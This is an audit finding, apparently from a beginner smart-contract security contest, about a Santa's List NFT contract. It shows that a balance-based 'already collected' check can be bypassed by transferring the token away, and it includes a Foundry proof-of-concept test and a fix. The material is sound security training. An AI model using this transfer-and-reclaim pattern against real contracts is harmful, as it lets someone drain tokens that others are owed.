First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Users Can Collect Multiple Presents

pacelli

Summary

A key invariant of the protocol is

An address is only allowed to collect 1 NFT per address, there is a check in the codebase to prevent someone from minting duplicate NFTs.

But this it's possible for users once they get NICE or EXTRA_NICE eligibility to collect as many tokens as they want.

Vulnerability Details

The function SantasList::collectPresent contains a check to verify if an user already claimed a present by checking the balance of the user.

if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();
}

But an user can easily circumvent this check by transferring the token to a second account to gain access the function again to collect a second present. This process can be repeated by the user many times.

This attack is possible because the eligibility of the user is not set to NOT_CHECKED_TWICE after minting the presents.

Proof of Concept

Paste the following test in SantasListTest.t.sol to test this vulnerability.

POC
function testSecurityReview__UserCanCollectMoreThanOneNFT() public {
address userSecondAccount = makeAddr("USER_SECOND_ACCOUNT");
​
// santa give `EXTRA_NICE` eligibility to user
vm.startPrank(santa, santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
​
// jump in time to christmas
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
// first mint
vm.startPrank(user, user);
santasList.collectPresent();
santasList.transferFrom(user, userSecondAccount, 0);
​
// second mint
vm.startPrank(user, user);
santasList.collectPresent();
​
// assert user hold 2 SantaTokens
assertEq(santaToken.balanceOf(user), 2e18);
}
​

Impact

Invariant of the protocol broken.

Tools Used

Foundry and VS Code

Recommendations

Don't check the balance of the user and instead set the status of the user to NOT_CHECKED_TWICE.

function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
- if (balanceOf(msg.sender) > 0) {
- revert SantasList__AlreadyCollected();
- }
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
+ s_theListCheckedOnce[msg.sender] = Status.NOT_CHECKED_TWICE;
+ s_theListCheckedTwice[msg.sender] = Status.NOT_CHECKED_TWICE;
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
+ s_theListCheckedOnce[msg.sender] = Status.NOT_CHECKED_TWICE;
+ s_theListCheckedTwice[msg.sender] = Status.NOT_CHECKED_TWICE;
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.